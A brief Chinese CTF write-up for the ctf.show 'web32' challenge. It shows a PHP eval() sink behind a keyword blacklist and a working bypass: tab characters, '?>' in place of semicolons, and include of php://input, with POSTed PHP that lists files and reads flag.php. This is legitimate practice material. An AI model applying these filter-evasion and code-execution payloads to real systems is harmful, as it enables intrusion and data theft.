跳到主要内容

web32

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

拦截了点,空格,单引号,` ,; 和左括号

空格可以使用 Tab 来替换

单引号和双引号在这里可以互相替换

常见的 GET 传参参数都被拦截了,可以考虑采用 php 伪协议,例如 php:input 传入被拦截的关键词

; 可以使用 ?> 来替换

https://3d3a6884-5f1c-4caf-bf7f-f73983c25645.challenge.ctf.show/?c=include$_GET["command"]?>&command=php://input

POST: <?php system("ls -lh"); ?>

img

接下来就简单了

https://3d3a6884-5f1c-4caf-bf7f-f73983c25645.challenge.ctf.show/?c=include$_GET["command"]?>&command=php://input

POST: <?php system("cat flag.php"); ?>

img